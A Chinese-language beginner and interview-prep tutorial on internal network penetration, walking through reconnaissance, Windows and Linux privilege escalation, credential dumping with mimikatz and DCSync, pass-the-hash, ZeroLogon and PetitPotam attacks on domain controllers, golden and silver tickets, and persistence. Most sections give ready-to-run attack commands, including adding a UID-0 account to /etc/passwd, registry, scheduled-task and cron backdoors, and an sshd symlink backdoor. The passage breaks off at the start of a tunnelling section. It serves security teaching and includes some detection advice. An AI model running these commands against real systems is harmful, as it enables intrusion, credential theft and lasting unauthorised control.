内网渗透通俗指南
内网渗透通俗指南(从入门到拿下域控)
写给零基础的安全学习者和面试准备者。全文用"公司大楼"比方贯穿,把抽象的内网渗透概念变成你能想象的画面。每节配真实命令和案例,边看边能上手。
最后附面试答题框架,直接背就能用。
写在前面:内网渗透是什么
你做 Web 渗透,是在大楼外面找门缝——从外网打进去。但真实的企业网络像一栋大楼,外门锁得很严,内部却四通八达。内网渗透就是你已经想办法混进了大楼的一个房间(比如通过 Web 漏洞拿到了一台服务器的 shell),现在要在大楼内部活动:搞清楚大楼的结构、提升自己的权限、拿到更多钥匙、最终控制整栋楼的中央控制室(域控)。
内网渗透的完整流程:
拿到一个内网点(webshell/反弹shell)
→ 信息收集(搞清在哪、有什么、能去哪)
→ 权限提升(从普通员工变保安队长)
→ 凭证获取(偷密码和通行证)
→ 横向移动(去其他房间)
→ 拿下域控(控制中央控制室)
→ 持久化(藏几把备用钥匙)
→ 隧道代理(打通进出的路)
这份文档就按这个流程一步步讲。
第一章 内网信息收集
为什么这一步最重要
比方:你混进了大楼的一个房间,但两眼一抹黑——不知道自己在几楼、不知道哪里有金库、不知道保安在哪。这时候乱跑必被抓。信息收集就是先摸清大楼地图,知道往哪打才有意义。
一句话:信息收集是内网渗透的地图,没有地图就是盲打,收集越全攻击路径越多。
第一步:判断当前环境——是域还是工作组
这是内网渗透的第一件事,决定后续整个方向。
比方:大楼有两种管理模式。一种是"各自管各自的工作组",每个房间独立;另一种是"统一管理的域",有个中央控制室管所有房间。判断是不是域,决定了你后面要打票据、横向(域),还是打弱口令、漏洞(工作组)。
判断命令:
ipconfig /all # 看 DNS 后缀,域环境通常有域名后缀
net time /domain # 域环境返回域控时间;工作组返回"找不到域"
net config workstation # 看"工作站域"字段
systeminfo # 看"域"字段
案例:执行 net time /domain,如果返回:
\\DC01 的 \\当前时间(域控名和时间) → 这是域环境
找不到域 WORKGROUP 的域控制器。 → 这是工作组
找域控位置(域环境才做):
net group "domain controllers" /domain # 列域控
nltest /dclist:域名
nslookup -type=srv _ldap._tcp.dc._msdcs.域名
第二步:本机信息收集——我是谁,我在哪,我有什么权限
比方:先看看自己兜里有什么——是普通员工卡还是保安卡,这间屋子的门锁是什么型号,有没有摄像头(杀软)。
whoami /all # 当前用户、SID、权限组
hostname # 主机名
ipconfig /all # IP、网段、DNS、网关
systeminfo # 系统版本、补丁列表、域信息
net user # 本机用户
net localgroup administrators # 本机管理员组
# 补丁和防护(找没修的漏洞,看有没有杀软)
wmic qfe list brief # 补丁列表
tasklist /svc # 进程和服务(找杀软、EDR)
netsh advfirewall show allprofiles # 防火墙状态
# 现有权限(找提权线索)
whoami /priv # 当前权限(有 SeImpersonate 就能 Potato 提权)
cmdkey /list # 存储的凭据
案例:执行 whoami /priv 看到 SeImpersonatePrivilege,说明当前账户能"模拟"其他用户身份,可以用 Potato 系列提权到 SYSTEM(后面讲)。
第三步:网络拓扑发现——内网有多大,网段怎么分
比方:看看这层楼有几个走廊、通向哪些楼层,才知道能去哪。
ipconfig /all # 看本机所在网段
route print # 路由表,看能通哪些网段
arp -a # ARP 缓存,近期通信过的内网主机
netstat -ano # 当前网络连接,看连了哪些内网服务
# 存活主机探测
for /L %i in (1,1,254) do @ping -n 1 -w 100 192.168.1.%i | findstr "TTL"
第四步:域内信息收集(域环境专属)
比方:既然是统一管理的大楼,那就翻一翻"员工名册",找出谁是保安队长(域管)、中央控制室在哪(域控)、有哪些重要房间。
net user /domain # 所有域用户
net group "domain admins" /domain # 域管理员(高价值目标!)
net group "domain computers" /domain # 域内机器
net group "enterprise admins" /domain # 企业管理员(最高权限)
net group "domain controllers" /domain # 域控列表
域渗透神器 BloodHound:通过 LDAP 收集域内对象关系,画出"谁有什么权限、能打到谁"的关系图,直接看到从普通用户到域管的最短攻击路径。
第五步:端口和服务扫描——找可利用的服务
关键端口和利用方向(必背):
| 端口 | 服务 | 内网利用方向 |
|---|---|---|
| 445 | SMB | MS17-010 永恒之蓝、IPC$ 横向、共享文件 |
| 3389 | RDP | 远程桌面连接 |
| 22 | SSH | 横向登录、密钥利用 |
| 1433 | MSSQL | xp_cmdshell、弱口令 |
| 3306 | MySQL | 弱口令、UDF 提权 |
| 6379 | Redis | 未授权写马/写 cron/写 key |
| 389 | LDAP | 域信息查询 |
| 88 | Kerberos | 票据攻击 |
| 135 | RPC | WMI 横向 |
| 5985 | WinRM | 远程命令执行 |
# fscan 一把梭(实战最常用,扫存活+端口+漏洞+弱口令)
fscan -h 192.168.1.0/24
# nmap 精扫
nmap -sV -p 1-1000 192.168.1.0/24
第六步:凭据收集(横向移动的前提,详见第三章)
# 翻配置文件找硬编码密码
findstr /si "password" *.txt *.ini *.config *.xml
dir /s *pass* *cred* *vnc* *.kdbx
# 浏览器保存的密码、RDP 缓存凭据、SSH 密钥
信息收集常用工具汇总
| 用途 | 工具 | 说明 |
|---|---|---|
| 综合扫描 | fscan | 实战最常用,存活+端口+漏洞+弱口令一把梭 |
| 端口扫描 | nmap、masscan | nmap 精扫,masscan 大范围快扫 |
| 域信息收集 | BloodHound + SharpHound | 画域内权限关系图,找攻击路径 |
| 凭据抓取 | mimikatz、LaZagne | mimikatz 读内存,LaZagne 读各类软件密码 |
第二章 权限提升(提权)
提权是什么
比方:你混进大楼,拿到的只是"普通员工卡"(普通用户权限)。普通员工干不了大事——装不了后门、读不了别人的密码、控制不了其他机器。提权就是从普通员工爬到保安队长甚至房东。
- Windows:普通用户 → 管理员 → SYSTEM(最高)
- Linux:普通用户 → sudo 用户 → root(最高)
提权前的信息收集(关键,别跳过)
比方:进大楼先看哪扇门没锁、哪个摄像头坏了,而不是见门就踹。
Windows:
systeminfo # 系统版本(找对应内核漏洞)
wmic qfe list brief # 补丁列表(对比哪些漏洞没修)
whoami /priv # 当前权限(看有没有 SeImpersonate → Potato)
whoami /groups # 当前用户组
net localgroup administrators # 看自己是不是管理员
tasklist /svc # 进程和服务(看杀软,避开 EDR)
Linux:
id # 当前用户和组
uname -a # 内核版本(找内核漏洞)
cat /etc/os-release # 发行版
sudo -l # sudo 权限(最关键!)
find / -perm -4000 -type f 2>/dev/null # SUID 文件
find / -writable -type d 2>/dev/null # 可写目录
cat /etc/crontab # 计划任务
自动化工具:WinPEAS(Windows)、LinPEAS(Linux)一键全量收集,高亮提权路径。
Windows 提权七大流派
流派一:内核漏洞提权(最经典)
比方:大楼的安保系统本身有 bug——刷卡机有漏洞,一张特殊卡刷一下系统直接崩了重启,重启时把你当成房东登录。
原理:Windows 内核有漏洞时,利用 exp 执行的代码在内核态运行,天然是 SYSTEM 权限。
经典漏洞:
- MS17-010(永恒之蓝):打 SMB 服务 445 端口,成功直接 SYSTEM
- MS16-032:打印后台程序漏洞
- CVE-2021-1732 / CVE-2022-21882:Win10/Win11 提权
用法:
systeminfo+wmic qfe list看系统版本和补丁- 对比找没打补丁的漏洞
- 编译运行对应 exp
流派二:服务配置错误提权
比方:保安队长图省事,把机房钥匙放在了一个任何人都能打开的抽屉里。
2a. 未引用的服务路径:服务路径 C:\Program Files\My App\clean.exe 没加引号,系统从左往右猜,先找 C:\Program.exe。你在这里放恶意程序,服务用管理员权限运行它。
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
2b. 可写的服务路径:服务运行的程序放在你能写的目录,直接替换成恶意程序。
流派三:UAC 绕过(用户账户控制绕过)
比方:你已经是保安队长了,但每次进机房门禁弹窗问"确定要进吗?"。绕过 UAC 就是找办法不弹这个窗。
前提:你已经是管理员,只是被 UAC 拦着。
手法:利用 Windows 自带白名单程序(如 fodhelper、eventvwr)的设计缺陷,让恶意代码搭便车获得高权限。工具:UACME。
流派四:令牌窃取(Potato 系列提权)
比方:大楼里有些员工虽然只是普通工位,但手里攥着一张房东给的临时通行证(令牌)。你趁他不注意,把他这张通行证抢过来,你就变成房东了。
原理:Windows 有个权限叫 SeImpersonate(模拟客户端)。某些服务账户(IIS、SQL Server)天生带这个权限。攻击者利用它骗一个高权限账户(SYSTEM)来连自己,然后"模拟"它的身份,自己就变成 SYSTEM。
Potato 系列:
- RottenPotato:利用 DCOM 和 NTLM 中继
- JuicyPotato:改进版,Win10/Server2016
- PrintSpoofer:Windows10/Server2019 常用
- GodPotato:2023 年新出,覆盖更多版本
面试金句:"Potato 系列核心是利用 SeImpersonate 权限,诱骗 SYSTEM 账户认证自己,然后模拟 SYSTEM 身份提权。常用于拿到 Web 服务账户(IIS/SQL)后提权到 SYSTEM。"
流派五:AlwaysInstallElevated
比方:大楼规定"安装新软件时自动用房东权限安装"。你造一个恶意 MSI 安装包,系统用 SYSTEM 权限帮你装。
# 查注册表是否开启
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 开启则生成恶意 MSI 静默安装
msiexec /quiet /qn /i malicious.msi
流派六:DLL 劫持
比方:保安队长每天读一份《安保日报》,报告放在"前台抽屉"里,前台抽屉谁都能放东西。你放份假报告,里面写"以后听这个普通员工指挥",保安队长读了就听你的。
原理:高权限程序加载 DLL 时有搜索顺序,如果找的 DLL 在你能写的目录,你放个恶意 DLL,程序加载就以高权限执行你的代码。用 Process Monitor 找 "Name not found" 的 DLL。
流派七:其他手法
| 手法 | 通俗解释 |
|---|---|
| 计划任务劫持 | 系统有定时任务用高权限跑某程序,你把那程序换成你的 |
| 注册表自启劫持 | 开机自启程序路径你能改,改成你的恶意程序 |
| AT 提权 | 老版 Windows 计划任务默认 SYSTEM 运行,at 时间 cmd.exe |
| 密码搜寻 | 翻配置文件、浏览器密码、RDP 缓存凭据 |
Linux 提权七大流派
流派一:内核漏洞提权
比方:同 Windows,内核本身有 bug。
经典:Dirty COW(CVE-2016-5195)、Dirty Pipe(CVE-2022-0847)。
uname -r # 看内核版本
# 找对应 exp 编译运行
gcc dirty.c -o dirty -pthread && ./dirty
⚠️ 内核 exp 容易导致崩溃重启,实战慎用,面试提一句显成熟。
流派二:SUID 提权(Linux 特色,高频)
比方:大楼里有个保险柜(SUID 程序),不管谁用它,它都用房东身份干活。如果保险柜设计有缺陷(能执行任意命令),你用它就借了房东身份。
什么是 SUID:可执行文件设了 SUID 位,任何用户执行它时,进程的有效用户变成文件所有者(通常 root)。比如 /usr/bin/passwd 设了 SUID,普通用户才能改密码。
find / -perm -4000 -type f 2>/dev/null # 找所有 SUID 文件
可提权的 SUID 程序(查 GTFOBins 速查表):
| SUID 程序 | 怎么提权 |
|---|---|
| find | find . -exec /bin/sh \; -quit |
| vim | vim -c ':!/bin/sh' |
| nmap | 老版 nmap --interactive 然后 !sh |
| python/perl/ruby | python -c 'import os;os.system("/bin/sh")' |
| bash | bash -p 直接 root shell |
| less/more | !/bin/sh |
流派三:sudo 错配提权(实战最常遇到)
比方:保安队长给某员工开了特权——"你只能用 sudo 跑 vim"。但 vim 能 :!sh 逃逸出命令执行,员工一跑就变房东。
sudo -l # 查自己有什么 sudo 权限(最关键!)
如果输出 User www-data may run the following commands: (ALL) NOPASSWD: /usr/bin/vim,说明能免密 sudo 跑 vim,而 vim 能 :!sh → 直接 root。
经典错配程序(同样查 GTFOBins):vim、find、less、nmap、awk、perl、tar、cp/mv、python。
流派四:计划任务 Cron 提权
比方:大楼每天凌晨2点用房东身份跑一个脚本扫地。如果脚本放在你能改的目录,你把内容换成恶意代码,凌晨2点系统用 root 跑了你的代码。
cat /etc/crontab
ls -la /etc/cron.*
三种利用:脚本可写(直接改内容)、路径劫持(脚本调命令没写全路径,你放同名假命令)、通配符注入(tar 配合 --checkpoint-action 注入参数)。
流派五:PATH 劫持
比方:保安队长让系统"找工具时先去这几个柜子翻"。你提前在靠前的柜子放个同名假工具。
echo $PATH # 看 PATH 顺序
# 在靠前目录放恶意同名程序
export PATH=/tmp:$PATH
流派六:修改 /etc/passwd(经典)
比方:大楼名册(/etc/passwd)记录所有员工。你能改名册,直接给自己加个房东身份。
# 生成密码 hash
openssl passwd -1 -salt abc password123
# 加一个 UID=0 的 root 用户
echo 'hacker:$1$abc$NXv9Uk5...:0:0::/root:/bin/bash' >> /etc/passwd
su hacker # 输入 password123,直接 root
流派七:其他手法
| 手法 | 通俗解释 |
|---|---|
| NFS no_root_squash | NFS 共享配置不当,挂载后写 SUID 程序提权 |
| Docker 组提权 | 用户在 docker 组,docker run -v /:/mnt 挂载根目录直接 root |
| capabilities 提权 | 程序有 cap_setuid 等 capability 能改 UID |
| 密码搜寻 | 翻配置文件、.bash_history、SSH 私钥 |
Windows vs Linux 提权对比
| 维度 | Linux | Windows |
|---|---|---|
| 最高权限 | root(UID=0) | SYSTEM |
| 内核漏洞 | Dirty COW/Pipe | MS17-010 等 |
| 配置类 | SUID/sudo/cron | 服务路径/UAC |
| 特色手法 | SUID(查 GTFOBins) | 令牌窃取(Potato) |
| 信息收集工具 | LinPEAS/LinEnum | WinPEAS/PowerUp |
| 共同点 | 都是先侦察后利用,优先用配置类,内核 exp 兜底 | 同左 |
第三章 凭证获取
为什么要抓凭证
比方:你提权成了某房间的保安队长,但想去别的楼层(横向移动),需要能打开其他楼层门禁的卡(凭证)。凭证就是这些卡——密码、哈希、票据。抓到的凭证越多,能去的楼层越多。
一句话:单机提权是立足,抓凭证是为了横向,横向才能打域控。
先懂 Windows 认证机制(抓凭证的理论基础)
Windows 存密码的三层地方:
| 存储位置 | 装什么 | 比方 |
|---|---|---|
| SAM | 本机用户的 NTLM 哈希 | 本机员工的"密码登记簿" |
| LSASS(内存进程) | 登录过的用户明文密码、哈希、票据 | 前台桌上摊着的"正在用的通行证" |
| NTDS.dit(域控专属) | 整个域所有用户的哈希 | 大楼总部的"全员名册" |
关键认知:Windows 认证时直接用哈希证明身份,不需要明文!拿到哈希就等于拿到密码——这就是 Pass-the-Hash(哈希传递) 的原理。
Windows 凭证获取手法
手法一:mimikatz 抓 LSASS 内存(最经典)
比方:前台桌上摊着所有正在用的通行证,你趁前台不注意拍个照。
原理:LSASS 进程内存缓存了登录用户的凭证——明文密码(某些情况)、NTLM 哈希、Kerberos 票据。mimikatz 读取 LSASS 内存全抓出来。
前提:需要 debug 权限 + 本地 SYSTEM 权限。
mimikatz
privilege::debug # 提权到 debug 权限
sekurlsa::logonpasswords # 抓所有登录用户凭据(明文+哈希+票据)
lsadump::sam # dump SAM 数据库
lsadump::dcsync /user:域管理员 # DCSync,域控级别抓取
明文密码为什么能抓到:Win7/2008 默认开 wdigest 认证,明文留内存。Win10/2012+ 默认关了 wdigest,只能抓哈希。可改注册表重开 wdigest 等管理员重新登录。
手法二:SAM 数据库导出(离线抓取)
比方:趁没人把密码登记簿复印一份带走,回去慢慢破解。
reg save hklm\sam sam.hive # 导出 SAM
reg save hklm\system system.hive # 导出 system(存了加密密钥)
# 拿回本地用 impacket 解:
secretsdump.py -sam sam.hive -system system.hive LOCAL
手法三:NTDS.dit 抓取(域控专属,终极目标)
比方:攻进大楼总部(域控),拿到全员名册(NTDS.dit),所有员工通行证哈希都在里面。
# 方法1:ntdsutil(微软自带工具)
ntdsutil "ac i ntds" "ifm" "create full C:\dump" q q
# 方法2:DCSync(不需要导文件,直接问域控要)
lsadump::dcsync /domain:xxx.com /all
lsadump::dcsync /user:krbtgt # 抓 krbtgt 哈希(造黄金票据!)
# 方法3:secretsdump 远程
secretsdump.py -just-dc domain/admin:password@域控IP
DCSync 原理(面试高频追问):DCSync 不是读文件,而是模拟域控的复制行为。域控之间用 DRCP 协议同步数据,DCSync 伪装成域控向真实域控"我要同步",域控就把哈希发过来了。不需要登录域控本机,有域管凭据就行。
手法四:应用层凭证
- 凭据管理器:
cmdkey /list列存储的凭据 - 浏览器密码:LaZagne、SharpChrome
- RDP 缓存凭据:cmdkey 存的,用 Mimikatz dpapi 解
- 配置文件密码:
findstr /si "password" *.txt *.ini *.config
一键全抓 LaZagne:LaZagne.exe all 抓浏览器/邮箱/数据库/WiFi 等各类密码。
Linux 凭证获取
/etc/shadow(密码哈希)
cat /etc/shadow # 需要 root
# $1$ = MD5, $5$ = SHA256, $6$ = SHA512
# 用 john 或 hashcat 破解:
john --wordlist=rockyou.txt shadow
hashcat -m 1800 hash.txt wordlist.txt
配置文件和密钥
grep -r "password" /etc/ /opt/ /home/ /var/www/ 2>/dev/null
find / -name "id_rsa" -o -name "*.pem" 2>/dev/null # SSH 私钥
cat ~/.bash_history # 历史命令
拿到哈希后:破解 vs PTH
| 方式 | 说明 |
|---|---|
| 破解成明文 | hashcat/john 破解,明文用途广(登录、SSH) |
| 直接 PTH | 哈希够用于 Windows 横向,破解不了就用这招 |
面试金句:"能破解就破解(明文用途广),破解不了就 PTH(哈希够用于 Windows 横向),两条路互补。"
第四章 横向移动
什么是横向移动
比方:你在大楼里已经拿下了一个房间,提了权,抓了凭证。现在你要用这些凭证去别的房间,这就是横向移动。目标是逐步逼近中央控制室(域控)。
常见横向手法
Pass-the-Hash(哈希传递,PTH)
比方:你偷到一张员工的通行证哈希(不是明文密码),但门禁系统只认哈希不认密码,你直接拿哈希刷门禁就进去了。
原理:Windows 认证用 NTLM 哈希不用明文,拿到哈希就能以该用户身份认证。
# impacket
psexec.py -hashes :NTLM哈希 域名/用户@目标IP
wmiexec.py -hashes :NTLM哈希 域名/用户@目标IP
Pass-the-Ticket(票据传递,PTT)
比方:你偷到一张已经签发的通行证(票据),直接拿去用,不用再去前台申请。
原理:Kerberos 票据存在内存里,导出别人的票据注入自己内存,就能以别人身份访问服务。
# mimikatz 导出票据
sekurlsa::tickets /export
# 注入票据
kerberos::ptt 票据文件.kirbi
其他横向手法
| 手法 | 原理 | 命令/工具 |
|---|---|---|
| PsExec | 用管理员凭据在远程机器执行命令 | psexec.py 域名/用户:密码@IP |
| WMI | 通过 WMI 协议远程执行 | wmiexec.py 域名/用户:密码@IP |
| SMB | 利用 IPC$ 共享 | net use \\IP\ipc$ 密码 /user:用户 |
| RDP | 远程桌面 | 3389 端口连接 |
| WinRM | Windows 远程管理 | evil-winrm -u 用户 -p 密码 -i IP |
| SSH | Linux 横向 | ssh user@IP,或用偷到的私钥 |
横向移动的思路
- 用抓到的凭据尝试登录其他机器
- 优先打域管登录过的机器(抓域管凭据)
- 逐步向域控逼近
- 用 BloodHound 找从当前用户到域管的最短路径
第五章 拿下域控
域控是什么,为什么是终极目标
比方:域控是整栋大楼的中央控制室,管理着域内所有用户、机器、权限。拿下域控 = 拿下整个域 = 控制所有加域的机器和用户。
域控的关键资产:
- NTDS.dit:全域所有用户的哈希
- krbtgt 账户哈希:造黄金票据持久化控制整个域
- 域管账户:能管理域内所有机器
六条攻击路径
路径一:直接打域控漏洞
比方:中央控制室的门锁本身有缺陷,直接撬门进去。
- MS17-010 永恒之蓝:打 SMB 445 端口,直接 SYSTEM
- ZeroLogon(CVE-2020-1472):Netlogon 认证漏洞,置空域控机器账户密码,再 DCSync
- PrintNightmare(CVE-2021-1675):打印服务漏洞,加载任意 DLL
ZeroLogon 案例:
python3 zerologon_tester.py 域控机器名 域控IP # 检测
python3 cve-2020-1472-exploit.py 域控机器名 域控IP # 置空机器账户密码
secretsdump.py -no-pass -just-dc 域名/域控机器名\$@域控IP # DCSync
路径二:Kerberos 攻击
比方:不去硬闯控制室,而是想办法伪造或窃取通行证。
- AS-REP Roasting:针对关了预认证的用户,抓 AS-REP 离线破解
- Kerberoasting(最实用):普通域用户就能申请服务票据,离线破解服务账户密码
- 黄金票据:拿到 krbtgt 哈希,伪造 TGT,全域任意服务(详见第六章)
- 白银票据:拿到服务账户哈希,伪造 ST,访问特定服务(详见第六章)
- 委派攻击(RBCD):普通域用户配置 RBCD,提权到机器 SYSTEM
Kerberoasting 案例(最实用,门槛最低):
# 任何普通域用户就能做
GetUserSPNs.py 域名/用户:密码 -dc-ip 域控IP -request
# 拿到票据后破解
hashcat -m 13100 hash.txt rockyou.txt
路径三:ADCS 证书服务攻击(近年热点)
比方:大楼发一种"电子身份证"(证书),配置错误时普通员工能申请到域管身份的证书。
ESC1(最常见):证书模板允许低权限用户申请 + 可指定 SAN(身份),申请时把身份写成域管。
certipy find -u 用户@域名 -p 密码 -dc-ip 域控IP # 找漏洞模板
certipy req -u 用户@域名 -p 密码 -ca CA名 -template 漏洞模板 -upn Administrator@域名
certipy auth -pfx administrator.pfx -dc-ip 域控IP
路径四:NTLM 中继(PetitPotam,免密打域控)
比方:你在走廊装了个假门禁读卡器,截下员工的认证信息,转手拿去开控制室门。
PetitPotam → NTLM Relay → ADCS → DCSync(2021 年后最经典的免密打域控链):
# 1. 强制域控向攻击者认证(无需凭据!)
python3 PetitPotam.py 攻击者IP 域控IP
# 2. 中继到 ADCS 申请域控证书
ntlmrelayx.py -t http://ADCS/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# 3. 用证书 DCSync
gettgtpkinit.py 域名/域控机器名\$ -pfx base64证书 -dc-ip 域控IP
这条链完全不需要任何凭据,面试讲出来很加分。
路径五:已有域管凭据直接 DCSync
拿到域管密码或哈希后,直接 DCSync 拉全域哈希:
secretsdump.py 域名/域管:密码@域控IP
# 拿到 krbtgt 哈希,造黄金票据持久化
路径六:其他路径
| 路径 | 原理 |
|---|---|
| Exchange 漏洞 | ProxyLogon/ProxyShell,Exchange 有域管级权限 |
| GPO 滥用 | 推恶意组策略加本地管理员 |
| AdminSDHolder | 攻击 AdminSDHolder 容器自动获得域管权限 |
| DNSAdmins 组 | 加载任意 DLL 到 DNS 服务(SYSTEM 运行) |
| BloodHound 找路径 | 分析域内权限关系找最短攻击路径 |
第六章 Kerberos 认证与黄金白银票据
Kerberos 认证是什么
比方:Kerberos 是大楼的"通行证系统"。大楼有个前台(KDC,密钥分发中心),放在域控里。员工想进任何房间(访问服务),要分三步向前台申请通行证。
三个角色:
| 角色 | 大楼比方 | 实际身份 |
|---|---|---|
| KDC | 前台 | 装在域控上 |
| Client(用户) | 员工 | 登录的账户 |
| Service(服务) | 某个房间 | 文件共享、数据库等 |
KDC 内部两个组件:
- AS(认证服务):验证"你是谁",发 TGT
- TGS(票据授予服务):发"进房间的通行证"ST
核心安全机制:Kerberos 不传明文密码,用密码哈希当加密钥匙。谁有你密码哈希,谁就能伪造通行证——这就是票据攻击的根源。
Kerberos 认证完整流程(三步)
第一步:AS 交换——证明身份,拿 TGT
比方:员工去前台证明"我是张三",前台核实后给他一张长期通行证(TGT),以后拿它换各房间临时通行证。
① Client → KDC(AS):"我是张三"(AS-REQ,带预认证:用张三密码哈希加密时间戳)
② KDC(AS) → Client:"验证通过,给你 TGT"(AS-REP)
TGT 用【krbtgt 账户的哈希】加密!
攻击点1:拿到 krbtgt 哈希 → 自己伪造 TGT → 黄金票据
第二步:TGS 交换——拿 TGT 换服务票据 ST
比方:员工拿长期通行证(TGT)去前台,换一张财务室临时通行证(ST)。
③ Client → KDC(TGS):"我有 TGT,要访问文件服务"(TGS-REQ)
④ KDC(TGS) → Client:"给你 ST"(TGS-REP)
ST 用【目标服务账户的密码哈希】加密!
攻击点2:拿到服务账户哈希 → 自己伪造 ST → 白银票据
第三步:AP 交换——凭 ST 访问服务
比方:员工拿财务室临时通行证(ST)直接去财务室刷卡进门,前台不参与了。
⑤ Client → Service:"我有 ST"(AP-REQ)
⑥ Service 验证 ST,放行
服务自己验证 ST,不回 KDC 确认!
攻击点3(白银票据核心):白银票据伪造 ST 直接给服务,全程不经过 KDC,域控无日志。
黄金票据详解
前提:已拿到 krbtgt 账户的哈希(通过 DCSync 或打域控)。
原理:TGT 用 krbtgt 哈希加密,你有这个哈希就能任意伪造 TGT,把权限写成 Domain Admin。
# mimikatz 造黄金票据
kerberos::golden /user:Administrator /domain:域名 /sid:域SID /krbtgt:krbtgt哈希 /ptt
特点:
- 访问域内任意服务(TGT 能换任意 ST)
- 持久性极强:改域管密码不失效(用 krbtgt 哈希不是域管密码)
- 清除必须两次重置 krbtgt 密码(AD 保留历史哈希)
白银票据详解
前提:已拿到目标服务账户的哈希(通过 Kerberoasting 破解等)。
原理:ST 用服务账户哈希加密,你有这个哈希就能伪造 ST,直接给服务,跳过 KDC。
kerberos::golden /user:Administrator /domain:域名 /sid:域SID /target:服务名 /service:cifs /rc4:服务账户哈希 /ptt
特点:
- 只能访问该特定服务
- 不经 KDC,域控无日志,更隐蔽
- 获取门槛低(Kerberoasting 即可)
- 改服务账户密码即失效
黄金 vs 白银票据对比(面试必背)
| 维度 | 黄金票据 | 白银票据 |
|---|---|---|
| 伪造对象 | TGT | ST |
| 持有哈希 | krbtgt | 目标服务账户 |
| 是否经 KDC | 经(换 ST 时) | 不经 |
| 域控日志 | 有 TGS 请求日志 | 无日志,更隐蔽 |
| 访问范围 | 域内任意服务 | 仅该特定服务 |
| 获取难度 | 高(需域控/DCSync) | 较低(Kerberoasting) |
| 持久性 | 极强(改域管密码不失效) | 中(改服务账户密码即失效) |
| 清除方式 | 两次重置 krbtgt 密码 | 改服务账户密码 |
记忆口诀:
- 黄金 = krbtgt = 伪造 TGT = 全域任意服务 = 经 KDC 有日志 = 清除需两次改 krbtgt
- 白银 = 服务账户 = 伪造 ST = 单服务 = 不经 KDC 无日志 = 改服务账户密码即可
第七章 持久化
什么是持久化
比方:你费了好大劲闯进大楼,但如果什么都不做,保安一重启系统、一改密码,你就被踢出去了。持久化就是在大楼里偷偷藏几把备用钥匙、装几个只有你知道的后门,以后随时能进来。
一句话:提权是立足,持久化是长控。
Windows 持久化手法
1. 注册表自启项(最经典)
比方:在保安队的"开机必做清单"里偷偷加一条"每天给攻击者发一把钥匙"。
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v backdoor /t REG_SZ /d "C:\Users\Public\backdoor.exe" /f
常用键值:Run、RunOnce、Winlogon(Userinit)。
2. 计划任务
比方:让系统定时帮你跑后门。
schtasks /create /tn "SystemUpdate" /tr "C:\Users\Public\backdoor.exe" /sc daily /st 03:00 /ru SYSTEM
3. 服务后门
比方:把后门伪装成一个"系统正常服务",开机自动启动。
sc create "SysHelper" binpath= "C:\Users\Public\backdoor.exe" start= auto
4. WMI 事件订阅(无文件,隐蔽性强)
比方:不在大楼里放任何实体钥匙,而是设一个"条件触发器"——满足条件系统自己下载执行后门。无文件落地,扫硬盘扫不到。
用 PowerShell 创建事件过滤器 + 事件消费者 + 绑定。蓝队要用 Get-WmiObject 查 __EventFilter 和 CommandLineEventConsumer。
5. 其他 Windows 手法
| 手法 | 通俗解释 |
|---|---|
| DLL 劫持 | 高权限程序加载你能写的 DLL |
| 隐藏账户 | 账户名加 $,net user 默认不显示 |
| 克隆账户 | 改注册表 SAM 克隆管理员 RID |
| COM 劫持 | 改 COM 组件指向恶意 DLL |
| 内存马 | Web 中间件层,不落磁盘,重启消失 |
Linux 持久化手法
1. SSH 后门(最常用)
SSH 公钥写入(最隐蔽持久):
echo "你的公钥" >> /root/.ssh/authorized_keys
# 以后免密 SSH 登录
SSH 软链接后门:
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=12345
# 连接时任意密码都能登录
2. Cron 计划任务
(crontab -l; echo "*/5 * * * * /tmp/.backdoor") | crontab -
echo "*/5 * * * * root /tmp/.backdoor" >> /etc/crontab
3. 其他 Linux 手法
| 手法 | 通俗解释 |
|---|---|
| PAM 后门 | 改认证模块,设万能密码 |
| 软链接后门 | ln -sf /bin/bash /tmp/.rootshell + SUID |
| 内核 Rootkit | LKM 从内核层隐藏进程文件网络 |
| LD_PRELOAD 劫持 | 用户态 rootkit,hook 系统函数 |
| 开机启动项 | /etc/rc.local、systemd 服务 |
| .bashrc 后门 | 每次开终端执行 |
域级别持久化(拿下域控后)
| 手法 | 原理 | 清除难度 |
|---|---|---|
| 黄金票据 | krbtgt 哈希造 TGT | 需两次重置 krbtgt 密码 |
| 白银票据 | 服务账户哈希造 ST | 改服务账户密码 |
| Skeleton Key | 注入 lsass,万能密码 mimikatz |
重启域控 |
| AdminSDHolder 后门 | 给容器加 ACL 自动同步到特权组 | 手动清除 ACL |
| SID History 注入 | 给普通用户注入域管 SID | 手动清除 SID History |
| DSRM 后门 | 改域控恢复模式密码远程登录 | 改回 DSRM 密码 |
| 委派后门(RBCD) | 配置 RBCD 随时以域管访问 | 删除委派配置 |
持久化隐蔽性分级
| 隐蔽级别 | 手法 | 特点 |
|---|---|---|
| 低(显性) | 注册表 Run、计划任务 | 简单有效,蓝队例行排查能发现 |
| 中(伪装) | 服务后门、DLL 劫持、隐藏账户 | 伪装成正常组件 |
| 高(无文件) | WMI 事件订阅、COM 劫持、内存马 | 不落磁盘,传统杀软扫不到 |
| 极高(底层) | 内核 rootkit、PAM 后门、域级票据 | 内核/认证层,难检测 |
实战策略:多层组合,留显性诱饵掩护隐藏后门。
蓝队排查角度(安服岗必答)
Windows 排查:
- 注册表:查 Run/RunOnce/Winlogon 自启键
- 计划任务:
schtasks /query /fo LIST - 服务:
sc query查异常服务 - WMI:
Get-WmiObject __EventFilter、CommandLineEventConsumer - 账户:
net user、查 SAM 找隐藏/克隆账户 - 日志:4624 登录、4688 进程创建、7045 服务创建
Linux 排查:
- 计划任务:
crontab -l、/etc/cron.* - 启动项:
/etc/rc.local、systemctl list-unit-files --state=enabled - SSH:
/root/.ssh/authorized_keys看异常公钥 - 账户:
/etc/passwd看异常用户、UID=0 - 进程/网络:
ps aux、netstat -antp - Rootkit 检测:rkhunter、chkrootkit
第八章 隧道与代理
为什么要做隧道和代理
比方:你在大楼里拿下一个房间,但整栋大楼只有几个出口能通外网。你想把内网的战果带出去、把攻击工具送进去、隐蔽访问内网其他网段——但内网隔离,进不去出不来。
隧道和代理就是解决"进不去、出不来、走不了"的问题。
一句话:代理解决访问问题,隧道解决通信问题。
正向 vs 反向代理(必考)
正向代理
比方:你在内网拿下一台机器,让它开个店等客人。你从外面主动连进去,通过它访问内网。
